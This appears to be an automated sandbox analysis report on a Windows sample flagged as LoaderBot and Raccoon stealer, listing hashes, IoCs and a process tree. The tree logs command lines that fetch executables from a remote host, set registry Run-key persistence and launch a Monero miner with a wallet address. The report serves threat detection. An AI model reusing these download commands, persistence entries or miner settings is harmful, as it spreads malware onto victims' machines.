loaderbot | 965fc8f88c6d882fa84b71bc8fccc686d1ce3ffe04e8b23b00547d3b312d6a53

Analysis

max time kernel
151s
max time network
135s
platform
windows10_x64
resource
win10-en-20211208
submitted
13-01-2022 22:47

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General

Target

965fc8f88c6d882fa84b71bc8fccc686d1ce3ffe04e8b23b00547d3b312d6a53.exe
Size

349KB
MD5

6b2c9ed8c027162803183a52440bd614
SHA1

f2040ead4afed6bca3e82ba771cf541bc459f1b9
SHA256

965fc8f88c6d882fa84b71bc8fccc686d1ce3ffe04e8b23b00547d3b312d6a53
SHA512

9e7477ebf5648d389e9a583c5bd88fcfc35fa0e5beb4612ce2dd842c7605fd48ec044d80bdc27b5cd6d63b5f4654ce5253579758173e0a37faaa558b72b736ff

Score

10^/10

loaderbot raccoon agilenet loader miner persistence stealer upx

Malware Config

Extracted

Family

raccoon

Version

1.8.4-hotfixs

rc4.plain

Signatures

LoaderBot
LoaderBot is a loader written in .NET downloading and executing miners.
loader miner loaderbot
Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon

Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 4088 created 1336	4088	WerFault.exe	81

LoaderBot executable 4 IoCs

resource	yara_rule
behavioral1/memory/1460-149-0x0000000000A60000-0x0000000000EA6000-memory.dmp	loaderbot
behavioral1/memory/1460-150-0x0000000000A60000-0x0000000000EA6000-memory.dmp	loaderbot
behavioral1/memory/1460-154-0x0000000000A60000-0x0000000000EA6000-memory.dmp	loaderbot
behavioral1/memory/1460-155-0x0000000000A60000-0x0000000000EA6000-memory.dmp	loaderbot

Blocklisted process makes network request 1 IoCs

flow	pid	Process
19	1252	WScript.exe

Downloads MZ/PE file

Executes dropped EXE 10 IoCs

pid	Process
8	extd.exe
2716	extd.exe
312	setup_c1.exe
1264	extd.exe
516	setup_m1.exe
740	extd.exe
1460	setup_e1.exe
1072	extd.exe
1336	setup_c1.exe
3988	Driver.exe

UPX packed file 6 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x000600000001ab15-118.dat	upx
behavioral1/files/0x000600000001ab15-119.dat	upx
behavioral1/files/0x000600000001ab15-122.dat	upx
behavioral1/files/0x000600000001ab15-126.dat	upx
behavioral1/files/0x000600000001ab15-134.dat	upx
behavioral1/files/0x000600000001ab15-165.dat	upx

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Driver.url	setup_e1.exe

Obfuscated with Agile.Net obfuscator 5 IoCs

Detects use of the Agile.Net commercial obfuscator, which is capable of entity renaming and control flow obfuscation.

agilenet

resource	yara_rule
behavioral1/files/0x000500000001ab25-124.dat	agile_net
behavioral1/files/0x000500000001ab25-127.dat	agile_net
behavioral1/memory/312-128-0x0000000000B40000-0x0000000000B4E000-memory.dmp	agile_net
behavioral1/memory/312-129-0x0000000000B40000-0x0000000000B4E000-memory.dmp	agile_net
behavioral1/files/0x000500000001ab25-173.dat	agile_net

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-369956170-74428499-1628131376-1000\Software\Microsoft\Windows\CurrentVersion\Run\Steam = "C:\\Users\\Admin\\AppData\\Roaming\\NVIDIA\\dllhost.exe"	setup_m1.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-369956170-74428499-1628131376-1000\Software\Microsoft\Windows\CurrentVersion\Run\Driver = "C:\\Users\\Admin\\AppData\\Roaming\\Sysfiles\\setup_e1.exe"	setup_e1.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
516	setup_m1.exe
1460	setup_e1.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 312 set thread context of 1336	312	setup_c1.exe	81

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4088	1336	WerFault.exe	81

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-369956170-74428499-1628131376-1000_Classes\Local Settings	cmd.exe

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	19	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
516	setup_m1.exe
516	setup_m1.exe
1460	setup_e1.exe
1460	setup_e1.exe
312	setup_c1.exe
312	setup_c1.exe
4088	WerFault.exe
4088	WerFault.exe
4088	WerFault.exe
4088	WerFault.exe
4088	WerFault.exe
4088	WerFault.exe
4088	WerFault.exe
4088	WerFault.exe
4088	WerFault.exe
4088	WerFault.exe
4088	WerFault.exe
4088	WerFault.exe
1460	setup_e1.exe
1460	setup_e1.exe
1460	setup_e1.exe
1460	setup_e1.exe
1460	setup_e1.exe
1460	setup_e1.exe
1460	setup_e1.exe
1460	setup_e1.exe
1460	setup_e1.exe
1460	setup_e1.exe
1460	setup_e1.exe
1460	setup_e1.exe
1460	setup_e1.exe
1460	setup_e1.exe
1460	setup_e1.exe
1460	setup_e1.exe
1460	setup_e1.exe
1460	setup_e1.exe
1460	setup_e1.exe
1460	setup_e1.exe
1460	setup_e1.exe
1460	setup_e1.exe
1460	setup_e1.exe
1460	setup_e1.exe
1460	setup_e1.exe
1460	setup_e1.exe
1460	setup_e1.exe
1460	setup_e1.exe
1460	setup_e1.exe
1460	setup_e1.exe
1460	setup_e1.exe
1460	setup_e1.exe
1460	setup_e1.exe
1460	setup_e1.exe
1460	setup_e1.exe
1460	setup_e1.exe
1460	setup_e1.exe
1460	setup_e1.exe
1460	setup_e1.exe
1460	setup_e1.exe
1460	setup_e1.exe
1460	setup_e1.exe
1460	setup_e1.exe
1460	setup_e1.exe
1460	setup_e1.exe
1460	setup_e1.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
632	Process not Found

Suspicious use of AdjustPrivilegeToken 8 IoCs

description	pid	Process
Token: SeDebugPrivilege	312	setup_c1.exe
Token: SeDebugPrivilege	516	setup_m1.exe
Token: SeDebugPrivilege	1460	setup_e1.exe
Token: SeRestorePrivilege	4088	WerFault.exe
Token: SeBackupPrivilege	4088	WerFault.exe
Token: SeDebugPrivilege	4088	WerFault.exe
Token: SeLockMemoryPrivilege	3988	Driver.exe
Token: SeLockMemoryPrivilege	3988	Driver.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 2604 wrote to memory of 3868	2604	965fc8f88c6d882fa84b71bc8fccc686d1ce3ffe04e8b23b00547d3b312d6a53.exe	69
PID 2604 wrote to memory of 3868	2604	965fc8f88c6d882fa84b71bc8fccc686d1ce3ffe04e8b23b00547d3b312d6a53.exe	69
PID 3868 wrote to memory of 8	3868	cmd.exe	70
PID 3868 wrote to memory of 8	3868	cmd.exe	70
PID 3868 wrote to memory of 8	3868	cmd.exe	70
PID 3868 wrote to memory of 2716	3868	cmd.exe	71
PID 3868 wrote to memory of 2716	3868	cmd.exe	71
PID 3868 wrote to memory of 2716	3868	cmd.exe	71
PID 3868 wrote to memory of 312	3868	cmd.exe	72
PID 3868 wrote to memory of 312	3868	cmd.exe	72
PID 3868 wrote to memory of 312	3868	cmd.exe	72
PID 3868 wrote to memory of 1264	3868	cmd.exe	73
PID 3868 wrote to memory of 1264	3868	cmd.exe	73
PID 3868 wrote to memory of 1264	3868	cmd.exe	73
PID 3868 wrote to memory of 516	3868	cmd.exe	75
PID 3868 wrote to memory of 516	3868	cmd.exe	75
PID 3868 wrote to memory of 516	3868	cmd.exe	75
PID 3868 wrote to memory of 740	3868	cmd.exe	76
PID 3868 wrote to memory of 740	3868	cmd.exe	76
PID 3868 wrote to memory of 740	3868	cmd.exe	76
PID 3868 wrote to memory of 1460	3868	cmd.exe	77
PID 3868 wrote to memory of 1460	3868	cmd.exe	77
PID 3868 wrote to memory of 1460	3868	cmd.exe	77
PID 3868 wrote to memory of 1252	3868	cmd.exe	78
PID 3868 wrote to memory of 1252	3868	cmd.exe	78
PID 3868 wrote to memory of 1072	3868	cmd.exe	79
PID 3868 wrote to memory of 1072	3868	cmd.exe	79
PID 3868 wrote to memory of 1072	3868	cmd.exe	79
PID 312 wrote to memory of 1336	312	setup_c1.exe	81
PID 312 wrote to memory of 1336	312	setup_c1.exe	81
PID 312 wrote to memory of 1336	312	setup_c1.exe	81
PID 312 wrote to memory of 1336	312	setup_c1.exe	81
PID 312 wrote to memory of 1336	312	setup_c1.exe	81
PID 312 wrote to memory of 1336	312	setup_c1.exe	81
PID 312 wrote to memory of 1336	312	setup_c1.exe	81
PID 312 wrote to memory of 1336	312	setup_c1.exe	81
PID 312 wrote to memory of 1336	312	setup_c1.exe	81
PID 1460 wrote to memory of 3988	1460	setup_e1.exe	85
PID 1460 wrote to memory of 3988	1460	setup_e1.exe	85

C:\Users\Admin\AppData\Local\Temp\965fc8f88c6d882fa84b71bc8fccc686d1ce3ffe04e8b23b00547d3b312d6a53.exe
"C:\Users\Admin\AppData\Local\Temp\965fc8f88c6d882fa84b71bc8fccc686d1ce3ffe04e8b23b00547d3b312d6a53.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2604
- C:\Windows\System32\cmd.exe
  "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\A401.tmp\A402.tmp\A403.bat C:\Users\Admin\AppData\Local\Temp\965fc8f88c6d882fa84b71bc8fccc686d1ce3ffe04e8b23b00547d3b312d6a53.exe"
  2⤵
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:3868
- - C:\Users\Admin\AppData\Local\Temp\A401.tmp\A402.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\A401.tmp\A402.tmp\extd.exe "/hideself" "" "" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    PID:8
- - C:\Users\Admin\AppData\Local\Temp\A401.tmp\A402.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\A401.tmp\A402.tmp\extd.exe "/download" "http://a0621298.xsph.ru/File.exe" "setup_c1.exe" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    PID:2716
- - C:\Users\Admin\AppData\Local\Temp\30382\setup_c1.exe
    setup_c1.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:312
  - - C:\Users\Admin\AppData\Local\Temp\30382\setup_c1.exe
      C:\Users\Admin\AppData\Local\Temp\30382\setup_c1.exe
      4⤵
      Executes dropped EXE
      PID:1336
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1336 -s 840
        5⤵
        Suspicious use of NtCreateProcessExOtherParentProcess
        Program crash
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4088
- - C:\Users\Admin\AppData\Local\Temp\A401.tmp\A402.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\A401.tmp\A402.tmp\extd.exe "/download" "http://a0621298.xsph.ru/512412.exe" "setup_m1.exe" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    PID:1264
- - C:\Users\Admin\AppData\Local\Temp\30382\setup_m1.exe
    setup_m1.exe
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:516
- - C:\Users\Admin\AppData\Local\Temp\A401.tmp\A402.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\A401.tmp\A402.tmp\extd.exe "/download" "http://a0621298.xsph.ru/RM.exe" "setup_e1.exe" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    PID:740
- - C:\Users\Admin\AppData\Local\Temp\30382\setup_e1.exe
    setup_e1.exe
    3⤵
    - Executes dropped EXE
    - Drops startup file
    - Adds Run key to start application
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1460
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:3988
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\30382\360t.vbs"
    3⤵
    - Blocklisted process makes network request
    PID:1252
- - C:\Users\Admin\AppData\Local\Temp\A401.tmp\A402.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\A401.tmp\A402.tmp\extd.exe "" "" "" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    PID:1072

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Web Service

T1102

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

memory/312-129-0x0000000000B40000-0x0000000000B4E000-memory.dmp

Filesize
56KB

Download
memory/312-169-0x0000000005F60000-0x0000000005FAC000-memory.dmp

Filesize
304KB

Download
memory/312-168-0x0000000005CB0000-0x0000000005D68000-memory.dmp

Filesize
736KB

Download
memory/312-170-0x0000000006070000-0x0000000006102000-memory.dmp

Filesize
584KB

Download
memory/312-143-0x0000000005420000-0x0000000005421000-memory.dmp

Filesize
4KB

Download
memory/312-128-0x0000000000B40000-0x0000000000B4E000-memory.dmp

Filesize
56KB

Download
memory/516-167-0x0000000002E20000-0x0000000002E2A000-memory.dmp

Filesize
40KB

Download
memory/516-145-0x00000000740B0000-0x00000000753F8000-memory.dmp

Filesize
19.3MB

Download
memory/516-144-0x0000000002710000-0x0000000002755000-memory.dmp

Filesize
276KB

Download
memory/516-141-0x0000000073020000-0x00000000730A0000-memory.dmp

Filesize
512KB

Download
memory/516-161-0x0000000005FE0000-0x00000000064DE000-memory.dmp

Filesize
5.0MB

Download
memory/516-139-0x0000000000810000-0x0000000000872000-memory.dmp

Filesize
392KB

Download
memory/516-140-0x0000000000810000-0x0000000000872000-memory.dmp

Filesize
392KB

Download
memory/516-164-0x0000000005BC0000-0x0000000005C52000-memory.dmp

Filesize
584KB

Download
memory/516-142-0x0000000076640000-0x0000000076BC4000-memory.dmp

Filesize
5.5MB

Download
memory/516-162-0x0000000005160000-0x0000000005161000-memory.dmp

Filesize
4KB

Download
memory/516-135-0x00000000005F0000-0x00000000005F1000-memory.dmp

Filesize
4KB

Download
memory/516-136-0x0000000000810000-0x0000000000872000-memory.dmp

Filesize
392KB

Download
memory/516-137-0x0000000077240000-0x0000000077402000-memory.dmp

Filesize
1.8MB

Download
memory/516-138-0x0000000075770000-0x0000000075861000-memory.dmp

Filesize
964KB

Download
memory/1336-171-0x0000000000400000-0x0000000000493000-memory.dmp

Filesize
588KB

Download
memory/1336-174-0x0000000000400000-0x0000000000493000-memory.dmp

Filesize
588KB

Download
memory/1460-160-0x0000000002EA0000-0x0000000002EE5000-memory.dmp

Filesize
276KB

Download
memory/1460-150-0x0000000000A60000-0x0000000000EA6000-memory.dmp

Filesize
4.3MB

Download
memory/1460-154-0x0000000000A60000-0x0000000000EA6000-memory.dmp

Filesize
4.3MB

Download
memory/1460-159-0x00000000740B0000-0x00000000753F8000-memory.dmp

Filesize
19.3MB

Download
memory/1460-180-0x00000000059E0000-0x00000000059E1000-memory.dmp

Filesize
4KB

Download
memory/1460-153-0x0000000075770000-0x0000000075861000-memory.dmp

Filesize
964KB

Download
memory/1460-152-0x0000000077240000-0x0000000077402000-memory.dmp

Filesize
1.8MB

Download
memory/1460-151-0x00000000013E0000-0x00000000013E1000-memory.dmp

Filesize
4KB

Download
memory/1460-156-0x0000000073020000-0x00000000730A0000-memory.dmp

Filesize
512KB

Download
memory/1460-155-0x0000000000A60000-0x0000000000EA6000-memory.dmp

Filesize
4.3MB

Download
memory/1460-149-0x0000000000A60000-0x0000000000EA6000-memory.dmp

Filesize
4.3MB

Download
memory/1460-157-0x0000000076640000-0x0000000076BC4000-memory.dmp

Filesize
5.5MB

Download
memory/1460-175-0x0000000005CD0000-0x0000000005D36000-memory.dmp

Filesize
408KB

Download
memory/3988-179-0x00000000001B0000-0x00000000001C4000-memory.dmp

Filesize
80KB

Download
memory/3988-181-0x00000000001E0000-0x0000000000200000-memory.dmp

Filesize
128KB

Download
memory/3988-182-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download